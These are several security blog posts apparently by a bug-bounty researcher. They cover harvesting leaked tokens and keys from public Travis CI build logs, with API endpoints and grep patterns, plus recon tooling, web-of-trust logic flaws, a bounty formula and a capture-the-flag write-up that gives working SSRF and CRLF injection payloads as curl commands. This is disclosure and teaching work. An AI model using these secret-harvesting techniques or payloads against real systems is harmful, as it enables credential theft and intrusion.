All the authors of this write-up have lots of experience working on open-source projects on GitHub and have, over the years, learned techniques that simplify the development process for open-source project maintainers. GitHub offers lots of integrations at https://github.com/marketplace, where one particular category stands out: “Continuous integration”. This is where we discovered that due to the way lots of open-source teams strive for complete transparency and openness in the development process, projects were hesitant to hide build log data on continuous-integration platforms. Admittedly, integrations such as Travis CI do offer private profiles as a premium feature on travis-ci.com, but during our research, the vast majority of projects appeared to only use the public instance travis-ci.org — note the “.org” top-level domain.

It is worth noting that continuous-integration services have already been targeted in the past for sensitive information by bug bounty hunters and third-parties as seen in “A HackerOne employee’s GitHub personal access token exposed in Travis CI build logs” and the “API under attack” Travis CI incident report:

“We are currently undergoing a distributed attack on our public API that we believe is aimed at revealing GitHub authentication tokens. Countermeasures are holding, and we will update accordingly.”

— Travis CI (Sep. 2015)

So much so that platforms such as Travis CI introduced built-in secrets detection to prevent accidental exposure of sensitive information as seen below. [1]

Travis CI replaces potentially sensitive information with the [secure] keyword at runtime.

To prevent leaks made by these components, we automatically filter secure environment variables and tokens that are longer than three characters at runtime, effectively removing them from the build log, displaying the string [secure] instead.

Automating the boring tasks

Approaching a large attack surface manually, such as the one Travis CI presents, would be an incredibly tedious task. Therefore, we had to work with the available API documentation these CI vendors provide and develop tooling to automate fetching build logs rapidly.

To better illustrate the process of going from a bug bounty program to an extensive data set for further investigation, we will use Travis CI’s API documentation as an example.

The initial phase of our process was to fetch bug bounty programs’ GitHub organisations. There were multiple ways of going about doing this, but for the best results, a simple Google search for “company name” and “GitHub” would do the job. Next, we had to check if the GitHub handle was on Travis CI. To make this process smoother, we used a browser bookmarklet that would redirect us from GitHub to Travis CI using the GitHub handle.

javascript:window.location="https://travis-ci.org"+window.location.pathname;

The bookmarklet would redirect from the GitHub page to Travis CI.

If the target was present on GitHub, we hit the projects API endpoint on Travis CI and retrieve a list of all projects.

https://api.travis-ci.org/owner/%s/repos?limit=100&offset=%d

Travis CI’s API is case sensitive; fortunately, the bookmarklet ensures that you are using the correct handle when issuing API requests. To gather the contents of build logs, we need to hit the build IDs API endpoint and then /log.txt.

https://api.travis-ci.org/repo/%s/builds?limit=100&offset=%d
https://api.travis-ci.org/job/%d/log.txt

Now that the contents of all the build logs belonging to the target are stored locally, we can start grepping. Due to the size of the data we were analysing, we resorted to ripgrep when sieving through the logs locally.

$ rg -ia "$1" -j 12 --no-filename --no-line-number --pretty

Besides bug bounty program’s GitHub accounts, the authors also gathered build logs belonging to all members of the GitHub organisation. It turns out that some members were running builds on their account not realising that their secrets were being exposed in the build logs.

#!/bin/bash

users=$(curl -s -H "application/vnd.github.hellcat-preview+json" -H "Authorization: token $GH_TOKEN" https://api.github.com/orgs/"$1"/members | jq -r .[].login);

while read -r hehe; do
 secretz -t "$hehe";
done <<< "$users"

The team behind this project has decided to refrain from publishing any of the tools built to fetch build logs since we do not want to be directly responsible for any disruptions to CI platforms’ performance. This write-up will inevitably draw more attention to the large attack surface some CI platforms present; therefore, the authors would like to remind the reader, when using the platform’s API, to please take care in not inundating every endpoint with lots of requests at once. We were very cautious not to take down any services during the entire process and would advise others to follow suit.

Results and notable findings

Overall, the most impactful findings were predominately GitHub access token leaks. In this section, we will cover four notable reports that our team submitted.

While grepping through the Travis CI build logs of Grammarly employees, we discovered an employee’s GitHub access token with read and write access to the Grammarly GitHub organisation. This token would have allowed us to push code to any of the repositories listed under Grammarly’s GitHub page. Grammarly awarded us their highest payout to date according to their HackerOne “Program Statistics”. [2]

To expand our scope, we considered multiple platforms. In a private Bugcrowd program’s Travis CI build log from 2013, we found a GitHub access token and were awarded a P1-severity payout — the highest possible severity score on Bugcrowd. [3]

The most surprising response from all the vendors that we reported findings to was Discourse’s bug bounty program. Karim Rahal discovered an employee’s GitHub access token with read and write access to all public repositories under the Discourse GitHub organisation. To demonstrate the potential impact of this issue, we pushed a harmless file to one of the organisation’s least active repositories to not draw too much attention. The file was subsequently removed from the repository.

Discourse awarded Karim the lowest possible bounty of $128. We requested further clarification as to how the team determined the bounty amount, but we have yet to hear back from the Discourse team — that is 60 days without a response. [3]

Another critical bug was discovered on a public cryptocurrency program on HackerOne. This program was using secret variables within Travis CI to create an SSH key. The details for this configuration can be found here and here. After digging through thousands of logs, the following line was detected by a tool Justin Gardner wrote:

-----BEGIN RSA PRIVATE KEY-----

A developer had added cat deploy_key in their CI configuration file which outputted the SSH key in the log. With the SSH key, an attacker could have logged into several deployment servers in the program’s infrastructure. A bounty of $1000 was awarded because the servers were non-production.

Tips and tricks

Usually, a simple grep for export statements in the build logs would be a good starting point. The export command is used for setting environment variables in the log prompt and therefore can expose sensitive information.

$ rg -ia "export " -j 12 --no-filename --no-line-number --pretty

Of course one should not restrict themselves solely to variables set using the export command; refining search terms to “token”, “key”, “password”, and “secret” can help uncover specific leaks. To reduce the number of false positives, we recommend appending = and : to your search terms.

We encourage readers to create a list of all variables with the [secure] keyword and then search using those variable names in all projects. This will help you find unsecured instances of sensitive data using common variable naming conventions. Karim Rahal gathered [secure] variables from 5,302,677 build logs, the 50 most common of which can be seen below.

Full list can be found here: https://gist.githubusercontent.com/EdOverflow/8bd2faad513626c413b8fc6e9d955669/raw/06a0ef0fd83920d513c65767aae258ecf8382bdf/gistfile1.txt

In addition, setting up continuous monitoring of your favourite bug bounty program’s CI builds, and running your tooling every time the team pushes a new commit to GitHub is a great way to catch exposed secrets in real time before the team has time to act.

Do not restrict yourself to keys and tokens; CI platforms are a great source of information for reconnaissance too. Sieve through the logs to find hidden endpoints and URLs belonging to the target.

Check for CI config files on GitHub to determine what CI integration your target is using. There may be other CI platforms out there that were not covered in this write-up where secrets are exposed.

A fun task that we included in our grep process was to find strings and errors messages commonly associated with missing or broken dependencies. With missing npm packages, this can sometimes lead to code execution by claiming the package name on a remote registry as demonstrated in https://hackerone.com/reports/399166. Some example error messages include:

“is not in the npm registry.” (npm)
“No matching distribution” (PyPI)
“Could not find a valid gem” (RubyGems)

Conclusion and further research

This research has helped us get a better understanding of the large attack surface that continuous-integration services present — almost hidden in plain sight — and has turned out to be extremely fruitful when bug bounty hunting.

Since a reasonably limited amount of platforms were included in this research, future studies and projects could consider covering further CI platforms and integrations.

We applaud platforms such as Travis CI that allow users to hide sensitive environment variables in their logs. In our view, this is a step in the right direction to preventing the type of security leaks that we encountered.

Not only has this work provided us with lots of successful bug bounty stories and valid findings, but it has also shown that collaboration, as seen here with this project, can go a long way while bug bounty hunting. ■

Update (19 August 2019): Since publishing this write-up, Corben Leo (@hacker_) has released secretz, a tool to help fetch build logs from Travis CI: https://github.com/lc/secretz.

The poor man's bug bounty monitoring setup

contact@edoverflow.com (EdOverflow) — Sun, 15 Jul 2018 00:00:00 +0000

I must confess, I have been holding on to a small trick that could allow anybody — even those of you that are not into developing and maintaining software — to set up a monitoring system in mere minutes. The reason why I call it the poor man’s monitoring setup is simply to indicate that this setup is not extremely sophisticated, but it does its job beautifully.

When bug bounty hunters monitor targets, they want to receive indications that something new has appeared or that there is a new instance. This is done so that one can immediately jump onto interesting targets and components, which is particularly useful on competitive bug bounty programmes.

The main part of this setup relies on Git. We want to be able to store results from our reconnaissance tools — such as subdomain-bruteforcing scripts — and be able to quickly see changes. We also need a place to store the output remotely. For this particular example, I will be using private GitHub repositories. Students can get free private repositories on GitHub if you apply here: https://education.github.com/pack. Please keep in mind, that there are plenty of alternatives out there, I am just sticking to GitHub for this write-up.

Once you have your private repository set up, make sure to store all output from your tools that you want to monitor inside of the local Git folder. When done running your tools, your monitoring script should attempt to git commit the output. The clever thing here is that Git will not commit unmodified files, meaning you will only be able to git commit files that include newly discovered endpoints. git push your files to the private GitHub and include a nice commit message, because this will become useful later.

Now that everything is being pushed to GitHub, we want to have a way to be notified about new commits. It turns out, GitHub has a nifty little feature which allows you to send emails to an address whenever there is a new commit on the master branch.

Navigate to https://github.com/YOUR_USERNAME/REPO/settings/installations;
Under the “Add service” dropdown, look for “email”;

Add your email address in the “Address” field.

Finally, run your tools with the Git commit process as a cron job. I wrote the whole thing in a few lines of Bash.

$ crontab -l
# Edit this file to introduce tasks to be run by cron.
...

0 * * * * /usr/local/bin/scan example.com

You are ready to go. Sit back and relax. GitHub will now notify you whenever any changes were made via email with a nice diff of the files. So you can be sat in a Caffè somewhere and know straight away when a new endpoint was discovered on your favourite bug bounty target.

On a side note, I just want to add, please do not perform over-the-top type of scanning when monitoring. Keep things light-weight and prioritise targets.

Automating your reconnaissance workflow with 'meg'

contact@edoverflow.com (EdOverflow) — Fri, 13 Apr 2018 00:00:00 +0000

For the past few months, I have been playing around with a tool developed by Tom Hudson called meg and I have fallen in love with this tool. meg is a lightweight URL fetcher that stores the output in organised directories and files. This tool has become the quintessential element in my reconnaissance workflow and has been incorporated into many of my personal tools.

Tom comes from a developing background and therefore understands full well the issue with mass-scanning. This is why meg was designed with the primary focus of not being resource intensive. By default, the tool behaves like a normal user browsing the web and is less likely to take down a service as a result.

The Basics

In bare essence, all it takes to run meg is to specify an endpoint and then a host.

$ `meg` <endpoint> <host>
$ `meg` / https://edoverflow.com

The latter command requests the top-level directory for https://edoverflow.com (https://edoverflow.com/). It is important to note, that protocols most be specified; meg does not automatically prefix hosts. If you happen to have a list of targets without protocols, make sure to sed the file and add the correct protocol.

$ sed 's#^#http://#g' list-of-hosts > output

By default meg stores all output in an out/ directory, but if you would like to include a dedicated output directory, all it takes is appending the output directory to your command as follows:

$ `meg` / https://edoverflow.com out-edoverflow/

Discovering Interesting Files On The Web

Say we want to pinpoint specific files that could either assist us further while targeting a platform or be an actual security issue in itself if exposed to the public, all it takes is a list of endpoints (lists/php) and a series of targets (targets-all). For this process, storing all pages that return a “200 OK” status code will help us sieve out most of the noise and false-positives (-s 200).

$ `meg` -s 200 \
 lists/php targets-all \
 out-php/ 2> /dev/null

Once the command above has finished running, all it takes is navigating through the out-php/ directory to find saved responses. You can start by manually grepping for specific strings — make sure to automate part of this process in Bash with grep and arrays — or you can use a neat little trick that Tom showed me.

$ cat ~/bin/vimprev
#!/bin/bash
VIMENV=prev vim $@

You guessed it — vim preview windows! For each file in the output directory, we can preview it inside of vim. All the “exiting vim” jokes aside, this is a brilliant idea and I cannot thank Tom enough for it.

$ cat /path/to/vimrc
if $VIMENV == 'prev'
 noremap <Space> :n<CR>
 noremap <Backspace> :N<CR>
endif
$ export PATH=$PATH:~/bin
$ cd out/
$ vimprev $(find . -type f)

The vimrc trick allows you to use the spacebar to move to the next file and the backspace key to the previous one. Hold that spacebar down and go wild! Interesting-looking files should jump out fairly quickly.

Live Preview

If you want a live preview of saved files in the output directory, all you need to do is follow the index file in the output directory the same way you might follow your logs on a web server.

$ cd out/
$ tail -f index
out/example.com/2d676fb9c99611db7e6cb75ffa1b137673f4ca04 http://example.com/.well-known/security.txt (200 OK)

Time To Experiment

I am going to cut this write-up short and encourage readers to watch Tom’s talk “Passive-ish Recon Techniques”. All the techniques described in this talk can be automated using meg and as Tom demonstrates they can be extremely rewarding.

An analysis of logic flaws in web-of-trust services

contact@edoverflow.com (EdOverflow) — Tue, 13 Feb 2018 00:00:00 +0000

Abstract

Web-of-trust services (WOT) such as Keybase, Onename, and Blockstack promise to verify individuals’ identities on the web. Since many applications on the web are not consistent this often leads to unintended behaviour and therefore security vulnerabilities in web-of-trust services. This write-up analyses three attack vectors that I stumbled across while conducting research on the security of WOT services.

The Technology Behind WOT Services

WOT services allow users to create tokens and place them on their personal pages (e.g. GitHub profile). The service will then look for the token using a scraper and if the token is valid, display that the user does in fact own that external page. The idea behind this method is so that users can display what pages on the web belong to them and then tie their WOT account to all of those external services. On top of that, since the verification tokens need to be publicly accessible, other users can verify that the proof is legitimate by visiting the page containing the token.

User TomNomNom cryptographically verifying their online identity on Keybase.

Attack Vector One – Distribution Of Content On Timelines

On the web a lot of profile-based applications allow redistribution of content by sharing someone else’s entry on your personal timeline – on Twitter users can retweet content and on GitHub people can fork projects. Since some WOT services use a public entry or post to verify the user’s identity, I asked myself whether it would be possible to claim ownership of someone else’s account by having them share a token that was posted onto an attacker’s timeline. One particular service stood out for me, GitHub, where WOT applications such as Keybase require users to place the verification token into a GitHub gist file. The interesting behaviour that I noticed with GitHub is that when a user forks a gist, the gist is not only displayed on the user’s timeline, it replaces the original author’s username with the sharer’s username.

A forked GitHub gist — the original author is EdOverflow and the gist was forked by bayotop.

One vulnerable service was Keybase, where if an attacker could convince a victim to fork their GitHub gist, the attacker would be able to claim ownership of the victim’s GitHub username. On top of that, Keybase allowed modification of the verification snippet, allowing an attacker to hide the token in an HTML comment.

An example attack using this technique against Keybase could have unfolded as follows:

The attacker requests a verification token from Keybase for the victim’s GitHub username;
Keybase prompts the attacker to place the verification token in a keybase.md gist;
The attacker creates a keybase.md gist hiding the verification token in an HTML comment;
The victim forks the attacker’s GitHub gist;
The attacker instructs Keybase to verify /<victim>/keybase.md.

As a result, the attacker’s Keybase account states that they own the victim’s account. To make matters worse, Keybase has a browser extension that allows users to browse to certain applications (e.g. GitHub, Twitter, Hacker News, etc.) and message the user on Keybase via the profile page – the extension adds a little messaging window on the user’s profile. Messages are sent to the account on Keybase that has verified ownership of the account. This means the extension will trick the user into thinking they are messaging the intended recipient, but all messages land in the attacker’s inbox since they control the victim’s username.

Hijacked GitHub username (@jackds1986) viewed in the Keybase browser extension. All messages are sent to a user called "totallynotjackds" on Keybase.

Blockstack and fireblock.io were also vulnerable to this attack vector. In most cases, the fix consisted of simply verifying whether the GitHub gist was a fork using GitHub’s gist API.

Attack Vector Two – Namespace attacks

Some WoT services require placing the verification token in a specific filename. Keybase, for example, as mentioned in the previous section, require GitHub verification tokens to be placed in GitHub gists called keybase.md. On web assets, Keybase require the file to be named keybase.txt and either placed under the top-level directory or the .well-known path. The reason behind the .well-known proposal in RFC5785, is to prevent filename collisions and clogging up the root directory. The former is particularly interesting when it comes to WOT services since if an attacker can control the filename on a website, they could potentially claim ownership of the domain. One such case happened with liberapay.com and Keybase. Liberapay, an open-source donation platform, did not restrict username’s containing dots in them; therefore one could create usernames containing file extensions. This became apparent to me when I set up a profile page for the security.txt project (https://liberapay.com/security.txt). I created a user called keybase.txt and embedded the Keybase verification snippet in the profile’s description. This allowed me to claim ownership of liberapay.com. Keybase did not verify the content type of the keybase.txt file and did not even ensure that the token is not embedded into a page.

Claiming ownership of liberapay.com by creating a user called keybase.txt and embedding the verification snippet into the profile's description.

Attack Vector Three – Redirects

After claiming ownership of liberapay.com I noticed that liberapay.org redirects to liberapay.com. This next attack consisted of using a verification token generated for liberapay.org embedded on liberapay.com to claim ownership of liberapay.org. Keybase’s scraper would blindly follow the redirect and not validate the final endpoint to make sure it matches the target host. Keybase would request liberapay.org/keybase.txt which redirects to liberapay.com/keybase.txt where a valid keybase.txt file is located.

Claiming ownership of liberapay.org via liberapay.com's keybase.txt file.

One particular plausible attack scenario that I could come up with was claiming branded URL-shorteners using this technique.

Conclusion

All services affected by these attack vectors were notified and promptly resolved most of the reported issues. Keybase remain vulnerable to attack vectors 2 and 3 – as far as I can tell they do not plan on resolving those issues. I was thoroughly impressed by the response times of all the affected parties and I look forward to working with them again in the future. As a result of this research, I have become addicted to finding logic flaws.

Update (Friday, 16 February 2018): @LewisBugBounty demonstrated that one can claim ownership of URL shorteners as I theorised above: Tweet.

The math behind bug bounties — A formula to calculate bounty amounts

contact@edoverflow.com (EdOverflow) — Wed, 29 Nov 2017 00:00:00 +0000

⚠️ Disclaimer (2022): The embedded code no longer works in this blog post since updating my website to Hugo. Some of the content may be missing.

Inspired by Daniel Adams’ work, Tom Hudson and I have assembled a formula to calculate the final bounty amount based on the impact of the reported security vulnerability. The formula can be expressed as follows where $b$ is the bounty amount, $C$ is the CVSS score, and $N$ is a constant that creates a direct correlation between $b_{max}$ and $C_{max}$:

$$\forall C (0 \le C \le 10) \tag{1}$$

$$\forall n (n \in \Bbb{R}^+ \land 1.0 \le n \le 3.0) \tag{2}$$

$$N = \frac{b_{max}}{(C_{max})^n} \tag{3}$$

$$b = N \times (C^n) \tag{4}$$

In pseudo-code this could be expressed as follows:

// Input: b_max, C, and n
// Output: b

function formula(b_max, C, n)
 if C > 10 or C < 0 then
 return error
 else if n < 1 or n > 3 then
 return error
 else
 C_max := 10
 N := b_max / C_max^n
 b := N * C^n
 return b
 end if
end function

$C_{max}$ is always $10$ and $b_{max}$ is the maximum bounty amount. $b_{max}$ and $n$ are the only variables which the bug bounty program needs to define for general purposes. $n$ is in the set of the positive real numbers ($\Bbb{R}^+$). We recommend setting a lower value for $n$ as you increase $b_{max}$. This should ensure that the gap between values in the 7.0 to 10.0 CVSS score range is not too big.

An exponent $n$ greater than $1$ creates an exponential curve as seen in the graph below:

Some programs reward based on the Qualitative Severity Rating ^[1] and not the exact CVSS score. This can easily be achieved by always rounding the value up to the maximum score of the corresponding CVSS rating.

$$ C = \begin{aligned} &0.0 &&\text{if } X < 0.1 \newline &3.9 && \text{if } 0.1 < X < 4.0 \newline &6.9 && \text{if } 3.9 < X < 7.0 \newline &7.9 && \text{if } 6.9 < X < 9.0 \newline &10.0 && \text{if } 8.9 < X \newline \end{aligned} \tag{5} $$

It is important to note that we are using CVSS as an example system and that this formula could be adapted to use any vulnerability scoring system. That said, we are assuming that the reader is using all three metric groups of the CVSS system when evaluating the total severity score. ^[2] Platforms such as HackerOne do not use all three groups when evaluating the final score.

This is a little calculator based on our formula. You can supply it with different values and inspect the results below.

$b_{max}$ - Program’s maximum bounty amount.
$C$ - CVSS score.
$n$ - Exponent.

After spending some time playing around with this formula, we became aware of how it could be used in various areas of the bug bounty industry. This write-up highlights the potential benefits of using our proposed mechanism.

Transparency

Bug bounty programs can now place this formula in their security policy and make it clear how they came to the various bounty amounts. We will describe further on how platforms could aid with this process.

Ease of use

Our proposed formula requires very few steps to set up. Bug bounty programs are only required to define two variables, $b_{max}$ and the exponent $n$.

Capping

This approach also enables programs to cap the curve at any desired point. HackerOne, for instance, requires a \$50 minimum bounty. So if the rate starts to drop below that, one can simply remove everything below \$50.

How this could be implemented by bug bounty platforms

HackerOne currently suggest bounty amounts when a program wants to set a reward for the researcher after triaging a report. Their current approach is statistical and focuses on competitive bounty amounts. The numbers are generated based on the average bug bounty payouts for the corresponding CVSS score on HackerOne’s platform.

Figure 2: Bounty suggestions by HackerOne.

The bounty amount is currently broken down into three categories median, competitive, and top. We believe it is possible to replace these values with the exponent $n$. In other words, the median category could mean a value of $3$ for $n$, and top could be $n = 1$. The exponent allows the program to evaluate a bounty amount based on the relative impact of the various CVSS scores. A more mature program that wants to offer competitive bounty amounts can set a lower value for $n$, which in turn means the gap between the individual bounty amounts would be smaller.

On top of having bounty amounts suggested in the payment process, we encourage platforms to have an inbuilt calculator that automatically inserts all values for the different CVSS scores in a table. This dynamic and efficient approach makes it easier for programs to quickly set up a bounty table in their policy and update it in the future.

Notice how this table is dynamically generated using the values from above.

Conclusion

In the hopes of seeing more programs and platforms adopt this formula, we are open sourcing everything including the source code for the calculator on GitHub. The repository is located here. We welcome any contributions and feedback from the public.

Update (Friday, 01 December 2017): @richinseattle noticed that values greater than $2$ for $n$ create very significant gaps between CVSS scores in the high and critical range. There is a ticket to keep track of this issue on GitHub and we hope to figure out a solution very soon: https://github.com/EdOverflow/bounty-formula/issues/3.

Operation FGTNY 🗽 - Solving the H1-212 CTF

contact@edoverflow.com (EdOverflow) — Sun, 19 Nov 2017 00:00:00 +0000

Preliminary

Enter exhibit one: An experienced engineer working for one of the biggest corporations in the world.

This engineer had set up a server and claimed that nobody could hack their way into it.

Enter exhibit two: An inexperienced kid celebrating their birthday, me (EdOverflow).

Queue dramatic music.

Step 1 - The Classic Jobert Challenge

Going into this CTF I knew that Jobert would use the same little trick again as in his previous CTF. Always read the challenge description very carefully and look for keywords. “acme.org”, “Apache” and “admin panel” stood out for me immediately. During my reconnaissance process which did not require any brute forcing as HackerOne had made very clear, I used Jobert Abma’s virtual host discovery tool. This is when I discovered that the admin panel was located at the admin.acme.org virtual host. In order to access the panel, we were required to set the admin.acme.org address to the given IP 104.236.20.43 in our /etc/hosts file.

$ cat h1-212
apache.%s
admin.%s
engineer.%s
hackerone.%s
$ ruby scan.rb --ip=104.236.20.43 --host=acme.org --wordlist=h1-212
...
Found: admin.acme.org (200)
 date:
 Sun, 19 Nov 2017 12:00:05 GMT
 server:
 Apache/2.4.18 (Ubuntu)
 set-cookie:
 admin=no # 😱
 content-type:
 text/html; charset=UTF-8
...
$ sudo sh -c "echo '104.236.20.43 admin.acme.org' >> /etc/hosts"

I noticed from other participants’ comments that they were struggling with this first step. The issue appeared to be that they were overly focused on the “Apache” aspect of the page. This is also the reason why HackerOne had to remind people not to brute force their way into the next step. The challenge really had nothing to do with directory bruteforcing. ¯\_(ツ)_/¯

Step 2 - Teapot 🍵

Next I ran dirsearch with a lightweight wordlist against admin.acme.org. The tool discovered an index.php file and a login path underneath (index.php/login). Immediately one thing stood out to me, the admin cookie was set to no. When modifying that value to yes and changing the request method to POST, a 406 Not Acceptable status code was returned.

Due to legal reasons, I shall not list my technique for figuring out what that status code means, but let’s just say I used a ~~highly advanced~~ Google Dork (site:hackerone.com 406 Not Acceptable) in order to find this report, which indicated that the request had to be in JSON (Content-Type: application/json). You didn’t hear me say any of that.

So there I was, after using highly-advanced techniques, I was left with a newly modified request that enabled me to send requests to the server.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

Maybe it makes sense to the reader now why Ben was teasing us.

Step 3 - Server-Side Request Forgery

Submitting the POST request from the previous section returned a domain missing error, which indicated that the request body had to contain some JSON with a domain attribute and value ({"domain":"hackerone.com"}).

This means that the current issue we are trying to exploit is Server-Side Request Forgery (SSRF); our goal is to retrieve internal files and the flag is probably located on the internal network.

Step 4 - Part 1 - Initial Ideas 💡

The errors that I was receiving when specifying a hostname in {"domain":""} indicated that in order to achieve my goal of accessing internal files, I would need to somehow bypass a filter. My initial idea was to set up a domain ending in .com, due to the {"error":{"domain":"incorrect value, .com domain expected"}} error message, and map it to a loopback address.

Intermission - Bedtime 🛏

It was already getting late at this stage and I decided to go get some sleep in order to prepare for the next 4 steps. Lying in bed I could not keep the CTF challenges out of my mind. Jobert’s laugh echoed in the background as every step I took looped before my eyes.

This is totally @jobertabma and @NahamSec watching the #h1212ctf action unfold. I think they’re enjoying this too much lol. pic.twitter.com/HRLjG5a5yv
— Luke Tucker (@luketucker) November 13, 2017

Step 4 - Part 2 - The Bypass

After getting some rest, I woke up the next morning excited to get right back on track. This time the main focus was Orange Tsai’s research. “There has to be some way to bypass the filter with an @ character.”, I thought to myself. The reason why it took me so long to bypass the filter was because I was appending the destination rather than prefixing it (e.g., 212.hackerone.com@127.0.0.1). Since the suffix did not end with a .com the “.com domain expected” error was returned. #, ?, and & characters were all blacklisted. Therefore there had to be a way of bypassing the blacklist and include a .com in the suffix. As I hinted towards above, the trick was to prefix the destination as follows: localhost@212.hackerone.com. By sending a request containing this payload the server would respond with a read.php identifier which contained base64-encoded data of the content from the page being retrieved.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost@212.hackerone.com\"}'

{"next":"\/read.php?id=1"}

$ curl 'http://admin.acme.org/read.php?id=1' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":""} # Blank, because the file being requested is empty.

Step 5 - Port Scanning

This step required two little bash scripts, one to request each individual port and another to retrieve the ID’s contents. Port 1337 returned an unusual 404 response and as the number indicates, Jobert was having a laugh. Forget the port scanning bit. I totally guessed the port was 1337 and moved on to the next step.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:1337@212.hackerone.com\"}'

{"next":"\/read.php?id=2"}

$ curl 'http://admin.acme.org/read.php?id=2' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K"}

$ echo 'SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K' | base64 --decode

Hmm, where would it be?

Please note that I only required two IDs for this and the image below is photoshopped.

Step 6 - Massive Frustration and CRLF

What do CRLF and frustration have in common? I did not know either until I witnessed this final step. In order, to request the flag one had to exploit a CRLF issue that would force the server to ignore everything after the valid filename. As we will see in a bit this came to me as quite a surprise.

I had a feeling that the flag would be located at /flag, because earlier I had come across this little gem while playing around with the IP.

This part took me far longer than I would like to admit. The amount frustration had me staring at my screen like this:

At first I thought playing around with different encodings of # would help make everything after /flag useless; i.e., the request would retrieve /flag and not /flag@212.... Boy was I wrong! I threw every single possible encoding that I could come up with at that server. All of this manually. After every failed request that was made, I could see Jobert in my mind chuckling away with the logs pulled up on his monitor.

That image was just stuck in my head. “What has Jobert done here to make things as difficult as possible for me?”, I was asking myself. Time and time again I failed. That was until yappare, who had already solved the CTF by then, gave me a subtle hint that put me right back on track. “CR”, they said. “CR?”, I thought to myself, “What is CR?”.

Disc scratch … CRLF!

So now I needed to play around with CR and LF characters and see how the server responds. This did still require a little bit of trial and error (understatement of the year), but in the end, I had a cURL request that would return a valid read.php ID and requested the flag filename.

$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:1337/flag\\n\\r\\n\\r212.hackerone.com\"}'

Now I will throw in some fancy LaTeX formulas to explain the very final step and to look I understand maths.

Basically, for those of you who do not understand maths, what I am trying to say is that for every valid CRLF returned ID (i), we must deduct 2 to be able to retrieve the base64-encoded flag (f). For instance, if we get read.php?=34 we must send a GET request to read.php?=32. This behaviour was very unusual and would only take place when you supplied the server with a valid CRLF bypass. I assume this was another of ~~Jobert’s~~ the engineer’s clever little tricks to put the hacker off.

$ curl 'http://admin.acme.org/read.php?id=32' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK"}

$ echo 'RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK' | base64 --decode

